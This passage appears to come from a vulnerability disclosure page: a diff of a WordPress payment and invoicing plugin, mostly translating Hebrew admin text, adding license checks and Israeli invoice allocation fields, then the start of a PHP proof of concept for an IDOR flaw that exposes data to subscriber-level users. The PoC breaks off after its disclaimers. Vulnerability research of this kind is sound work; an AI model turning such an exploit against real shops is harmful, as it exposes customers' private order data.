+        echo '<a class="button" href="'.esc_url(admin_url('admin.php?page=paycal-bundles')).'">Marketplace</a></p>';
       } else {
         $s = PayCalModulesBitBitSettings::get();
         $phone = esc_attr($s['phone'] ?? '');
         $display = esc_attr($s['display_name'] ?? '');
-        $note = esc_textarea($s['note'] ?? 'העברה בביט לפי סכום ההזמנה. לאחר התשלום, ההזמנה תטופל.');
-
-        echo '<h2>שלב 3: Bit Setup</h2>';
-        echo '<p class="paycal-muted">הגדרה מהירה + תצוגה מקדימה של QR.</p>';
+        $note = esc_textarea($s['note'] ?? 'Transfer with Bit according to the order total. After payment, the order will be reviewed.');

+        echo '<h2>Bit Setup</h2>';
         echo '<div class="paycal-two-col">';
-
         echo '<div class="paycal-card">';
-        echo '<h2>פרטי קבלת תשלום</h2><p class="paycal-muted">הפרטים יוצגו ללקוח במסך התשלום.</p>';
-
+        echo '<h2>Payment receiving details</h2>';
         echo '<form method="post">';
         wp_nonce_field('paycal_wizard');
         echo '<input type="hidden" name="paycal_wizard_action" value="save_bit" />';
-
-        echo '<div class="paycal-field" style="margin-bottom:12px">';
-        echo '<label>טלפון לקבלת תשלום (Bit)</label>';
-        echo '<input name="bit_phone" id="paycal_bit_phone" type="text" value="'.$phone.'" placeholder="05XXXXXXXX" />';
-        echo '</div>';
-
-        echo '<div class="paycal-field" style="margin-bottom:12px">';
-        echo '<label>שם שיוצג ללקוח (אופציונלי)</label>';
-        echo '<input name="bit_display_name" id="paycal_bit_display" type="text" value="'.$display.'" placeholder="שם העסק / שם לקבלת תשלום" />';
-        echo '</div>';
-
-        echo '<div class="paycal-field" style="margin-bottom:12px">';
-        echo '<label>טקסט הנחיות ללקוח</label>';
-        echo '<textarea name="bit_note" rows="4" id="paycal_bit_note">'.$note.'</textarea>';
-        echo '</div>';
-
-        echo '<p class="submit" style="margin-top:14px">';
-        echo '<button class="button button-primary">שמור והמשך</button> ';
-        echo '<a class="button" href="'.esc_url(admin_url('admin.php?page=paycal-bundles')).'">חזרה למרקטפלייס</a>';
-        echo '</p>';
-
+        echo '<div class="paycal-field" style="margin-bottom:12px"><label>Bit phone</label><input name="bit_phone" id="paycal_bit_phone" type="text" value="'.$phone.'" placeholder="05XXXXXXXX" /></div>';
+        echo '<div class="paycal-field" style="margin-bottom:12px"><label>Display name</label><input name="bit_display_name" id="paycal_bit_display" type="text" value="'.$display.'" /></div>';
+        echo '<div class="paycal-field" style="margin-bottom:12px"><label>Customer instructions</label><textarea name="bit_note" rows="4" id="paycal_bit_note">'.$note.'</textarea></div>';
+        echo '<p class="submit" style="margin-top:14px"><button class="button button-primary">Save and continue</button></p>';
         echo '</form>';
         echo '</div>';
-
-        echo '<div class="paycal-card">';
-        echo '<h2>תצוגה מקדימה (QR)</h2><p class="paycal-muted">Preview בלבד – בשלב הבא נציג אותו במסך תשלום להזמנה.</p>';
-        echo '<div class="paycal-qr"><div id="paycal_qr_box" data-phone="'.esc_attr($phone).'"></div></div>';
-        echo '</div>';
-
+        echo '<div class="paycal-card"><h2>Preview</h2><div class="paycal-qr"><div id="paycal_qr_box" data-phone="'.esc_attr($phone).'"></div></div></div>';
         echo '</div>';
       }
     }

     if ($step === 'finish') {
-      echo '<h2>סיום</h2>';
-      echo '<p class="paycal-muted">המערכת מוכנה. אם Bit Gateway כבר אצלך פעיל, ההזמנות יעברו לסטטוס “ממתין לתשלום בביט”.</p>';
+      echo '<h2>Finish</h2>';
+      echo '<p class="paycal-muted">Setup is ready. You can return to the dashboard or adjust settings at any time.</p>';
       echo '<form method="post">';
       wp_nonce_field('paycal_wizard');
       echo '<input type="hidden" name="paycal_wizard_action" value="finish" />';
-      echo '<p class="submit"><button class="button button-primary">סיום</button></p>';
+      echo '<p class="submit"><button class="button button-primary">Finish</button></p>';
       echo '</form>';
-      echo '<p><a class="button" href="'.esc_url(admin_url('admin.php?page=paycal-dashboard')).'">חזרה לדשבורד</a></p>';
+      echo '<p><a class="button" href="'.esc_url(admin_url('admin.php?page=paycal-dashboard')).'">Back to dashboard</a></p>';
     }

     echo '</div></div>';
@@ -182,10 +200,11 @@
   private static function steps_nav(string $current): void {
     $steps = [
       'welcome' => 'Welcome',
-      'license' => 'License',
+      'merchant' => 'Merchant / Terminal',
+      'license' => 'License - optional',
       'modules' => 'Modules',
-      'bit'     => 'Bit Setup',
-      'finish'  => 'Finish',
+      'bit' => 'Bit Setup',
+      'finish' => 'Finish',
     ];

     echo '<div class="paycal-steps">';
--- a/klamra-paycal-for-aspaclaria/includes/Connector/SyncClient.php
+++ b/klamra-paycal-for-aspaclaria/includes/Connector/SyncClient.php
@@ -41,7 +41,7 @@
         'merchant_id' => $settings['merchant_id'] ?? '',
         'terminal_id' => $settings['terminal_id'] ?? '',
         'site_url' => home_url('/'),
-        'plugin_version' => defined('PAYCAL_VERSION') ? PAYCAL_VERSION : '1.1.4',
+        'plugin_version' => defined('PAYCAL_VERSION') ? PAYCAL_VERSION : '1.1.5',
       ]),
     ]);

--- a/klamra-paycal-for-aspaclaria/includes/Licensing/Gate.php
+++ b/klamra-paycal-for-aspaclaria/includes/Licensing/Gate.php
@@ -6,8 +6,9 @@
 class Gate {
   public static function has(string $module): bool {
     $data = LicenseStore::get();
+    $license_key = (string) ($data['license_key'] ?? '');

-    if (empty($data['license_key'])) return false;
+    if (empty($license_key) || (class_exists(LicenseClient::class) && LicenseClient::looks_like_connector_credential($license_key))) return false;

     if (!empty($data['valid'])) {
       return in_array($module, (array)($data['modules'] ?? []), true);
@@ -22,9 +23,12 @@

   public static function status_label(): string {
     $data = LicenseStore::get();
-    if (empty($data['license_key'])) return 'No license';
+    $license_key = (string) ($data['license_key'] ?? '');
+    if (!empty($data['disabled'])) return 'Disabled';
+    if (empty($license_key) || (class_exists(LicenseClient::class) && LicenseClient::looks_like_connector_credential($license_key))) return 'לא מחובר';
     if (!empty($data['valid'])) return 'Active';
-    if (LicenseStore::is_in_grace()) return 'Grace';
-    return 'Inactive';
+    if (LicenseStore::is_in_grace()) return 'Grace period';
+    if (empty($data['validated_at'])) return 'Pending verification';
+    return 'Disabled';
   }
 }
--- a/klamra-paycal-for-aspaclaria/includes/Licensing/LicenseClient.php
+++ b/klamra-paycal-for-aspaclaria/includes/Licensing/LicenseClient.php
@@ -6,7 +6,21 @@
 class LicenseClient {
   const ENDPOINT = 'https://paycal.online/wp-json/wooboompay/v1/license/validate';

+  public static function looks_like_connector_credential(string $value): bool {
+    $value = trim($value);
+    return (bool) preg_match('/^(mrc_|trm_|pk_)/i', $value);
+  }
+
   public static function validate_remote(string $license_key): array {
+    $license_key = trim($license_key);
+    if ($license_key === '') {
+      return ['ok' => false, 'error' => 'License key is required'];
+    }
+
+    if (self::looks_like_connector_credential($license_key)) {
+      return ['ok' => false, 'error' => 'זה נראה כמו נתון חיבור של PayCal, לא מפתח רישוי. יש להזין אותו בהגדרות Merchant / Terminal.'];
+    }
+
     if (!function_exists('wp_remote_post')) {
       error_log('[PayCal] WordPress HTTP API unavailable during license validation.');
       return ['ok' => false, 'error' => 'WordPress HTTP API unavailable'];
--- a/klamra-paycal-for-aspaclaria/includes/Licensing/LicenseStore.php
+++ b/klamra-paycal-for-aspaclaria/includes/Licensing/LicenseStore.php
@@ -20,7 +20,11 @@
   }

   public static function license_key(): string {
-    return (string) (self::get()['license_key'] ?? '');
+    $key = (string) (self::get()['license_key'] ?? '');
+    if (class_exists(LicenseClient::class) && LicenseClient::looks_like_connector_credential($key)) {
+      return '';
+    }
+    return $key;
   }

   public static function entitlements(): array {
--- a/klamra-paycal-for-aspaclaria/includes/Modules/Invoices/InvoicesModule.php
+++ b/klamra-paycal-for-aspaclaria/includes/Modules/Invoices/InvoicesModule.php
@@ -4,13 +4,9 @@
 defined('ABSPATH') || exit;

 use PayCalCorePlugin;
-use PayCalLicensingGate;
-
 class InvoicesModule {
   public static function init(): void {
     if (!class_exists('WooCommerce')) return;
-    // Gate by entitlement (invoices). If you want invoices always available, remove this check.
-    if (!class_exists(Gate::class) || !Gate::has('invoices')) return;

     if (!defined('PAYCAL_INV_PATH')) define('PAYCAL_INV_PATH', PAYCAL_PATH . 'includes/Modules/Invoices/Legacy/');
     if (!defined('PAYCAL_INV_URL'))  define('PAYCAL_INV_URL',  PAYCAL_URL .  'includes/Modules/Invoices/Legacy/');
--- a/klamra-paycal-for-aspaclaria/includes/Modules/Invoices/Legacy/admin/settings.php
+++ b/klamra-paycal-for-aspaclaria/includes/Modules/Invoices/Legacy/admin/settings.php
@@ -1,23 +1,31 @@
 <?php
 if (!defined('ABSPATH')) exit;

+function paycal_invoices_admin_can_access(): bool {
+  return current_user_can('manage_woocommerce')
+    || current_user_can('edit_shop_orders')
+    || current_user_can('manage_options');
+}
+
 add_action('admin_menu', function () {
-    // If PayCal Core menu exists, attach there. Otherwise attach under WooCommerce.
-    $parent = 'woocommerce';
-    if (isset($GLOBALS['menu'])) {
-      foreach ($GLOBALS['menu'] as $m) {
-        if (!empty($m[2]) && $m[2] === 'paycal-dashboard') { $parent = 'paycal-dashboard'; break; }
+  $parent = 'woocommerce';
+  if (isset($GLOBALS['menu'])) {
+    foreach ($GLOBALS['menu'] as $m) {
+      if (!empty($m[2]) && $m[2] === 'paycal-dashboard') {
+        $parent = 'paycal-dashboard';
+        break;
       }
     }
+  }

-    add_submenu_page(
-        $parent,
-        'PayCal חשבוניות',
-        'חשבוניות',
-        'manage_options',
-        'paycal-invoices-settings',
-        'paycal_invoices_settings_page'
-    );
+  add_submenu_page(
+    $parent,
+    'PayCal Invoices',
+    'Invoices',
+    'read',
+    'paycal-invoices-settings',
+    'paycal_invoices_settings_page'
+  );
 });

 add_action('admin_enqueue_scripts', function($hook){
@@ -30,13 +38,20 @@
 });

 function paycal_invoices_settings_page() {
-  if (!current_user_can('manage_options')) return;
+  if (!paycal_invoices_admin_can_access()) {
+    wp_die(
+      esc_html__('You do not have permission to manage PayCal invoices.', 'klamra-paycal-for-aspaclaria'),
+      esc_html__('Permission denied', 'klamra-paycal-for-aspaclaria'),
+      ['response' => 403]
+    );
+  }

   $saved = false;
   if (!empty($_POST['paycal_inv_action']) && $_POST['paycal_inv_action'] === 'save') {
     check_admin_referer('paycal_inv_save');

     $s = [
+      'enabled' => !empty($_POST['enabled']) && $_POST['enabled'] === 'yes' ? 'yes' : 'no',
       'layout' => sanitize_key($_POST['layout'] ?? 'modern'),
       'primary_color' => sanitize_hex_color($_POST['primary_color'] ?? '#1366D6') ?: '#1366D6',
       'accent_color'  => sanitize_hex_color($_POST['accent_color'] ?? '#23C5F2') ?: '#23C5F2',
@@ -49,6 +64,10 @@
       'trigger_status' => in_array(($_POST['trigger_status'] ?? 'completed'), ['processing','completed'], true) ? $_POST['trigger_status'] : 'completed',
       'advanced_mode' => !empty($_POST['advanced_mode']) ? 1 : 0,
       'custom_html' => wp_kses_post(wp_unslash($_POST['custom_html'] ?? '')),
+      'israel_allocation_threshold_2025' => max(0, (float)($_POST['israel_allocation_threshold_2025'] ?? 20000)),
+      'israel_allocation_threshold_2026_h1' => max(0, (float)($_POST['israel_allocation_threshold_2026_h1'] ?? 10000)),
+      'israel_allocation_threshold_current' => max(0, (float)($_POST['israel_allocation_threshold_current'] ?? 5000)),
+      'israel_allocation_current_from' => sanitize_text_field($_POST['israel_allocation_current_from'] ?? '2026-06-01'),
     ];
     update_option('paycal_invoice_settings', $s, false);
     $saved = true;
@@ -57,66 +76,78 @@
   $s = paycal_invoice_get_settings();

   echo '<div class="wrap paycal-inv-wrap">';
-  echo '<div class="paycal-inv-hero"><h1>PayCal — חשבוניות</h1><p>עיצוב חשבונית נגיש ויפה, בלי ידע בעיצוב.</p></div>';
+  echo '<div class="paycal-inv-hero"><h1>PayCal Invoices</h1><p>Invoice settings for WooCommerce orders.</p></div>';

-  if ($saved) echo '<div class="notice notice-success"><p>נשמר ✅</p></div>';
+  if ($saved) echo '<div class="notice notice-success"><p>Settings saved.</p></div>';

   echo '<form method="post">';
   wp_nonce_field('paycal_inv_save');
   echo '<input type="hidden" name="paycal_inv_action" value="save" />';

   echo '<div class="paycal-inv-grid">';
-
-  // Left: settings
   echo '<div class="paycal-inv-card">';
-  echo '<h2>כללי</h2>';
+  echo '<h2>General</h2>';
+
+  echo '<div class="paycal-field"><label>Enable PayCal invoices</label>';
+  echo '<select name="enabled"><option value="yes" '.selected($s['enabled'] ?? 'yes','yes',false).'>yes</option><option value="no" '.selected($s['enabled'] ?? 'yes','no',false).'>no</option></select>';
+  echo '<p class="description">When disabled, invoices are not generated automatically, but administrators can still view existing invoices.</p>';
+  echo '</div>';

-  echo '<div class="paycal-field"><label>שם העסק</label><input type="text" name="business_name" value="'.esc_attr($s['business_name']).'"></div>';
+  echo '<div class="paycal-field"><label>Business name</label><input type="text" name="business_name" value="'.esc_attr($s['business_name']).'"></div>';

-  echo '<div class="paycal-field"><label>פרטי עסק (כתובת/ח.פ/טלפון)</label>';
+  echo '<div class="paycal-field"><label>Business details</label>';
   wp_editor($s['business_details'], 'business_details', ['textarea_name'=>'business_details', 'textarea_rows'=>4, 'media_buttons'=>false]);
   echo '</div>';

   echo '<div class="paycal-row2">';
-  echo '<div class="paycal-field"><label>צבע ראשי</label><input class="paycal-color" type="text" name="primary_color" value="'.esc_attr($s['primary_color']).'"></div>';
-  echo '<div class="paycal-field"><label>צבע משני</label><input class="paycal-color" type="text" name="accent_color" value="'.esc_attr($s['accent_color']).'"></div>';
+  echo '<div class="paycal-field"><label>Primary color</label><input class="paycal-color" type="text" name="primary_color" value="'.esc_attr($s['primary_color']).'"></div>';
+  echo '<div class="paycal-field"><label>Accent color</label><input class="paycal-color" type="text" name="accent_color" value="'.esc_attr($s['accent_color']).'"></div>';
   echo '</div>';

-  // Logo
   $logo_url = $s['logo_id'] ? wp_get_attachment_image_url((int)$s['logo_id'], 'medium') : '';
-  echo '<div class="paycal-field"><label>לוגו</label>';
+  echo '<div class="paycal-field"><label>Logo</label>';
   echo '<div class="paycal-logo-row">';
   echo '<input type="hidden" id="paycal_logo_id" name="logo_id" value="'.esc_attr((string)$s['logo_id']).'">';
-  echo '<button type="button" class="button" id="paycal_logo_pick">בחר לוגו</button>';
-  echo '<button type="button" class="button" id="paycal_logo_clear">נקה</button>';
+  echo '<button type="button" class="button" id="paycal_logo_pick">Choose logo</button>';
+  echo '<button type="button" class="button" id="paycal_logo_clear">Clear</button>';
   echo '</div>';
-  echo '<div class="paycal-logo-preview">'.($logo_url ? '<img src="'.esc_url($logo_url).'" alt="logo" />' : '<span class="paycal-muted">אין לוגו</span>').'</div>';
+  echo '<div class="paycal-logo-preview">'.($logo_url ? '<img src="'.esc_url($logo_url).'" alt="logo" />' : '<span class="paycal-muted">No logo selected</span>').'</div>';
   echo '</div>';

-  echo '<div class="paycal-field"><label>מתי ליצור חשבונית אוטומטית?</label>';
+  echo '<div class="paycal-field"><label>Automatic invoice trigger</label>';
   echo '<select name="trigger_status"><option value="processing" '.selected($s['trigger_status'],'processing',false).'>Processing</option><option value="completed" '.selected($s['trigger_status'],'completed',false).'>Completed</option></select>';
   echo '</div>';

   echo '<div class="paycal-row2">';
-  echo '<label class="paycal-check"><input type="checkbox" name="show_sku" '.checked((int)$s['show_sku'],1,false).'> הצג SKU</label>';
-  echo '<label class="paycal-check"><input type="checkbox" name="show_notes" '.checked((int)$s['show_notes'],1,false).'> הצג הערת לקוח</label>';
+  echo '<label class="paycal-check"><input type="checkbox" name="show_sku" '.checked((int)$s['show_sku'],1,false).'> Show SKU</label>';
+  echo '<label class="paycal-check"><input type="checkbox" name="show_notes" '.checked((int)$s['show_notes'],1,false).'> Show customer note</label>';
   echo '</div>';

   echo '<h2 style="margin-top:18px">Footer</h2>';
   wp_editor($s['footer_html'], 'footer_html', ['textarea_name'=>'footer_html', 'textarea_rows'=>3, 'media_buttons'=>false]);

-  echo '<h2 style="margin-top:18px">מצב מתקדם (למתקדמים בלבד)</h2>';
-  echo '<label class="paycal-check"><input type="checkbox" name="advanced_mode" '.checked((int)$s['advanced_mode'],1,false).'> הפעל HTML מותאם</label>';
-  echo '<p class="paycal-muted">במצב מתקדם אפשר לכתוב HTML ולהשתמש בפלייסהולדרים כמו {{order_number}}, {{total}}.</p>';
+  echo '<h2 style="margin-top:18px">Advanced custom HTML</h2>';
+  echo '<label class="paycal-check"><input type="checkbox" name="advanced_mode" '.checked((int)$s['advanced_mode'],1,false).'> Enable custom HTML</label>';
+  echo '<p class="paycal-muted">Available placeholders include {{order_number}}, {{total}}, {{billing_name}}, and {{invoice_number}}.</p>';
   echo '<textarea name="custom_html" rows="10" style="width:100%;font-family:ui-monospace,Menlo,monospace" placeholder="Advanced custom HTML...">'.esc_textarea($s['custom_html']).'</textarea>';

-  echo '<p class="submit"><button class="button button-primary">שמור</button></p>';
+  echo '<h2 style="margin-top:18px">Israel Invoices allocation thresholds</h2>';
+  echo '<p class="paycal-muted">Thresholds are configured before VAT in ILS and can be updated when legal requirements change.</p>';
+  echo '<div class="paycal-row2">';
+  echo '<div class="paycal-field"><label>2025 threshold before VAT</label><input type="number" min="0" step="0.01" name="israel_allocation_threshold_2025" value="'.esc_attr((string)($s['israel_allocation_threshold_2025'] ?? 20000)).'"></div>';
+  echo '<div class="paycal-field"><label>2026 Jan-May threshold before VAT</label><input type="number" min="0" step="0.01" name="israel_allocation_threshold_2026_h1" value="'.esc_attr((string)($s['israel_allocation_threshold_2026_h1'] ?? 10000)).'"></div>';
+  echo '</div>';
+  echo '<div class="paycal-row2">';
+  echo '<div class="paycal-field"><label>Current threshold before VAT</label><input type="number" min="0" step="0.01" name="israel_allocation_threshold_current" value="'.esc_attr((string)($s['israel_allocation_threshold_current'] ?? 5000)).'"></div>';
+  echo '<div class="paycal-field"><label>Current threshold starts</label><input type="date" name="israel_allocation_current_from" value="'.esc_attr((string)($s['israel_allocation_current_from'] ?? '2026-06-01')).'"></div>';
+  echo '</div>';
+
+  echo '<p class="submit"><button class="button button-primary">Save settings</button></p>';
   echo '</div>';

-  // Right: preview
   echo '<div class="paycal-inv-card">';
-  echo '<h2>תצוגה מקדימה</h2>';
-  echo '<p class="paycal-muted">התצוגה משתמשת בהזמנה האחרונה באתר (אם קיימת), או בדאטה לדוגמה.</p>';
+  echo '<h2>Preview</h2>';
+  echo '<p class="paycal-muted">The preview uses the latest WooCommerce order when one exists.</p>';

   $sample_order_id = 0;
   if (class_exists('WooCommerce')) {
@@ -125,18 +156,15 @@
   }

   if ($sample_order_id) {
-    // Create temporary HTML preview from order (no invoice needed)
-    $fake_invoice_id = 0;
-    $html = paycal_invoice_render_html($fake_invoice_id, $sample_order_id);
+    $html = paycal_invoice_render_html(0, $sample_order_id);
   } else {
-    $html = '<div dir="rtl" style="font-family:Arial;padding:16px;border:1px dashed #E3ECFA;border-radius:14px;background:#F5F9FF">אין הזמנות עדיין לתצוגה. אחרי שתיווצר הזמנה, תופיע כאן תצוגה אמיתית.</div>';
+    $html = '<div dir="rtl" style="font-family:Arial;padding:16px;border:1px dashed #E3ECFA;border-radius:14px;background:#F5F9FF">No orders yet. A real preview will appear after an order is created.</div>';
   }

   echo '<div class="paycal-preview">'.$html.'</div>';
+  echo '</div>';

-  echo '</div>'; // right
-
-  echo '</div>'; // grid
+  echo '</div>';
   echo '</form>';
   echo '</div>';
 }
--- a/klamra-paycal-for-aspaclaria/includes/Modules/Invoices/Legacy/includes/cpt.php
+++ b/klamra-paycal-for-aspaclaria/includes/Modules/Invoices/Legacy/includes/cpt.php
@@ -2,32 +2,168 @@
 if (!defined('ABSPATH')) exit;

 add_action('init', function () {
-    register_post_type('asp_invoice', [
-        'label' => 'חשבוניות',
-        'public' => false,
-        'show_ui' => true,
-        'menu_icon' => 'dashicons-media-text',
-        'supports' => ['title'],
-    ]);
+  register_post_type('asp_invoice', [
+    'label' => 'PayCal Invoices',
+    'public' => false,
+    'show_ui' => true,
+    'menu_icon' => 'dashicons-media-text',
+    'supports' => ['title'],
+  ]);
 });

+function paycal_invoice_admin_download_url(int $invoice_id): string {
+  return wp_nonce_url(
+    admin_url('admin-post.php?action=paycal_invoice_download&invoice_id=' . absint($invoice_id)),
+    'paycal_invoice_download_' . absint($invoice_id)
+  );
+}
+
 add_filter('manage_asp_invoice_posts_columns', function($cols){
-  $cols['order'] = 'הזמנה';
-  $cols['download'] = 'הורדה';
+  $cols['order'] = __('Order', 'klamra-paycal-for-aspaclaria');
+  $cols['allocation'] = __('Allocation', 'klamra-paycal-for-aspaclaria');
+  $cols['download'] = __('Download', 'klamra-paycal-for-aspaclaria');
   return $cols;
 });

 add_action('manage_asp_invoice_posts_custom_column', function($col, $post_id){
+  $invoice_id = absint($post_id);
+
   if ($col === 'order') {
-    $oid = (int)get_post_meta($post_id, '_order_id', true);
+    $oid = absint(get_post_meta($invoice_id, '_order_id', true));
     if ($oid) {
       echo '<a href="'.esc_url(admin_url('post.php?post='.$oid.'&action=edit')).'">#'.esc_html((string)$oid).'</a>';
     } else {
-      echo '—';
+      echo '—';
     }
   }
+
+  if ($col === 'allocation') {
+    $oid = absint(get_post_meta($invoice_id, '_order_id', true));
+    $order = $oid && function_exists('wc_get_order') ? wc_get_order($oid) : null;
+    echo esc_html(function_exists('paycal_invoice_get_allocation_badge') ? paycal_invoice_get_allocation_badge($invoice_id, $order) : '');
+  }
+
   if ($col === 'download') {
-    $url = wp_nonce_url(admin_url('admin-post.php?action=paycal_invoice_download&invoice_id='.$post_id), 'paycal_inv_'.$post_id);
-    echo '<a class="button" href="'.esc_url($url).'">HTML להדפסה</a>';
+    echo '<a class="button" href="'.esc_url(paycal_invoice_admin_download_url($invoice_id)).'">' . esc_html__('Download invoice', 'klamra-paycal-for-aspaclaria') . '</a>';
   }
 }, 10, 2);
+
+add_action('admin_notices', function () {
+  $screen = function_exists('get_current_screen') ? get_current_screen() : null;
+  if (!$screen || $screen->post_type !== 'asp_invoice' || $screen->base !== 'post') {
+    return;
+  }
+
+  echo '<div class="notice notice-info"><p>' . esc_html__('This invoice is generated from a WooCommerce order. Edit billing/order details from the linked WooCommerce order.', 'klamra-paycal-for-aspaclaria') . '</p></div>';
+});
+
+add_action('add_meta_boxes', function () {
+  add_meta_box(
+    'paycal_invoice_order_box',
+    __('Linked WooCommerce order', 'klamra-paycal-for-aspaclaria'),
+    'paycal_invoice_render_order_meta_box',
+    'asp_invoice',
+    'normal',
+    'high'
+  );
+
+  add_meta_box(
+    'paycal_invoice_allocation_box',
+    __('Israel Invoices allocation', 'klamra-paycal-for-aspaclaria'),
+    'paycal_invoice_render_allocation_meta_box',
+    'asp_invoice',
+    'side',
+    'default'
+  );
+});
+
+function paycal_invoice_render_order_meta_box(WP_Post $post): void {
+  $invoice_id = absint($post->ID);
+  $order_id = absint(get_post_meta($invoice_id, '_order_id', true));
+  $order = $order_id && function_exists('wc_get_order') ? wc_get_order($order_id) : null;
+
+  if (!$order) {
+    echo '<p>' . esc_html__('No linked WooCommerce order was found for this invoice.', 'klamra-paycal-for-aspaclaria') . '</p>';
+    return;
+  }
+
+  $customer_name = trim($order->get_billing_first_name() . ' ' . $order->get_billing_last_name());
+  $allocation_badge = function_exists('paycal_invoice_get_allocation_badge') ? paycal_invoice_get_allocation_badge($invoice_id, $order) : '';
+
+  echo '<table class="widefat striped"><tbody>';
+  echo '<tr><th>' . esc_html__('Order number', 'klamra-paycal-for-aspaclaria') . '</th><td>#' . esc_html((string) $order->get_order_number()) . '</td></tr>';
+  echo '<tr><th>' . esc_html__('Customer name', 'klamra-paycal-for-aspaclaria') . '</th><td>' . esc_html($customer_name ?: __('Guest customer', 'klamra-paycal-for-aspaclaria')) . '</td></tr>';
+  echo '<tr><th>' . esc_html__('Order total', 'klamra-paycal-for-aspaclaria') . '</th><td>' . wp_kses_post($order->get_formatted_order_total()) . '</td></tr>';
+  echo '<tr><th>' . esc_html__('Order status', 'klamra-paycal-for-aspaclaria') . '</th><td>' . esc_html(wc_get_order_status_name($order->get_status())) . '</td></tr>';
+  echo '<tr><th>' . esc_html__('Allocation status', 'klamra-paycal-for-aspaclaria') . '</th><td><strong>' . esc_html($allocation_badge) . '</strong></td></tr>';
+  echo '</tbody></table>';
+
+  echo '<p>';
+  echo '<a class="button button-primary" href="' . esc_url(admin_url('post.php?post=' . $order_id . '&action=edit')) . '">' . esc_html__('View order', 'klamra-paycal-for-aspaclaria') . '</a> ';
+  echo '<a class="button" href="' . esc_url(paycal_invoice_admin_download_url($invoice_id)) . '">' . esc_html__('Download invoice', 'klamra-paycal-for-aspaclaria') . '</a>';
+  echo '</p>';
+}
+
+function paycal_invoice_render_allocation_meta_box(WP_Post $post): void {
+  $invoice_id = absint($post->ID);
+  $order_id = absint(get_post_meta($invoice_id, '_order_id', true));
+  $order = $order_id && function_exists('wc_get_order') ? wc_get_order($order_id) : null;
+  $allocation_number = (string) get_post_meta($invoice_id, '_paycal_israel_allocation_number', true);
+  $allocation_required = (string) get_post_meta($invoice_id, '_paycal_israel_allocation_required', true);
+  if ($allocation_required === '' && $order && function_exists('paycal_invoice_is_allocation_required')) {
+    $allocation_required = paycal_invoice_is_allocation_required($order) ? 'yes' : 'no';
+  }
+
+  wp_nonce_field('paycal_invoice_allocation_save', 'paycal_invoice_allocation_nonce');
+  echo '<p><strong>' . esc_html(function_exists('paycal_invoice_get_allocation_badge') ? paycal_invoice_get_allocation_badge($invoice_id, $order) : '') . '</strong></p>';
+  if ($allocation_required === 'yes' && trim($allocation_number) === '') {
+    echo '<p class="notice notice-warning" style="padding:8px;margin:8px 0">' . esc_html__('Allocation number required. Invoice generation is not blocked.', 'klamra-paycal-for-aspaclaria') . '</p>';
+  }
+  echo '<p><label for="paycal_israel_allocation_number">' . esc_html__('Israel Invoices allocation number', 'klamra-paycal-for-aspaclaria') . '</label></p>';
+  echo '<input id="paycal_israel_allocation_number" name="paycal_israel_allocation_number" type="text" style="width:100%" value="' . esc_attr($allocation_number) . '" />';
+  echo '<p class="description">' . esc_html__('Required only for eligible tax invoices above the legal threshold. This field may be filled manually until automatic Tax Authority integration is implemented.', 'klamra-paycal-for-aspaclaria') . '</p>';
+}
+
+add_action('save_post_asp_invoice', function ($post_id) {
+  if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
+    return;
+  }
+  if (!current_user_can('manage_woocommerce') && !current_user_can('edit_shop_orders') && !current_user_can('manage_options')) {
+    return;
+  }
+  $nonce = sanitize_text_field(wp_unslash($_POST['paycal_invoice_allocation_nonce'] ?? ''));
+  if (!$nonce || !wp_verify_nonce($nonce, 'paycal_invoice_allocation_save')) {
+    return;
+  }
+
+  $allocation_number = sanitize_text_field(wp_unslash($_POST['paycal_israel_allocation_number'] ?? ''));
+  update_post_meta($post_id, '_paycal_israel_allocation_number', $allocation_number);
+
+  $order_id = absint(get_post_meta($post_id, '_order_id', true));
+  $order = $order_id && function_exists('wc_get_order') ? wc_get_order($order_id) : null;
+  $required = $order && function_exists('paycal_invoice_is_allocation_required') && paycal_invoice_is_allocation_required($order);
+  update_post_meta($post_id, '_paycal_israel_allocation_required', $required ? 'yes' : 'no');
+  update_post_meta($post_id, '_paycal_israel_allocation_status', $allocation_number !== '' ? 'added' : ($required ? 'missing' : 'not_required'));
+});
+
+add_action('woocommerce_admin_order_data_after_order_details', function ($order) {
+  if (!$order instanceof WC_Order) {
+    return;
+  }
+
+  $invoice_ids = get_posts([
+    'post_type' => 'asp_invoice',
+    'post_status' => 'publish',
+    'meta_key' => '_order_id',
+    'meta_value' => $order->get_id(),
+    'fields' => 'ids',
+    'posts_per_page' => 1,
+  ]);
+
+  $invoice_id = !empty($invoice_ids) ? absint($invoice_ids[0]) : 0;
+  $label = $invoice_id && function_exists('paycal_invoice_get_allocation_badge')
+    ? paycal_invoice_get_allocation_badge($invoice_id, $order)
+    : (function_exists('paycal_invoice_is_allocation_required') && paycal_invoice_is_allocation_required($order) ? 'Allocation number required' : 'Allocation number not required');
+
+  echo '<p class="form-field form-field-wide"><strong>' . esc_html__('PayCal Israel Invoices:', 'klamra-paycal-for-aspaclaria') . '</strong> ' . esc_html($label) . '</p>';
+});
--- a/klamra-paycal-for-aspaclaria/includes/Modules/Invoices/Legacy/includes/order-hook.php
+++ b/klamra-paycal-for-aspaclaria/includes/Modules/Invoices/Legacy/includes/order-hook.php
@@ -4,6 +4,9 @@
 function paycal_invoice_trigger_status(): string {
   $s = get_option('paycal_invoice_settings', []);
   if (!is_array($s)) $s = [];
+

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8611 - Klamra Paycal for Aspaclaria <= 1.1.4 - IDOR to Authenticated Sensitive Information Exposure

/*
 * This PoC demonstrates how an authenticated attacker with subscriber-level access
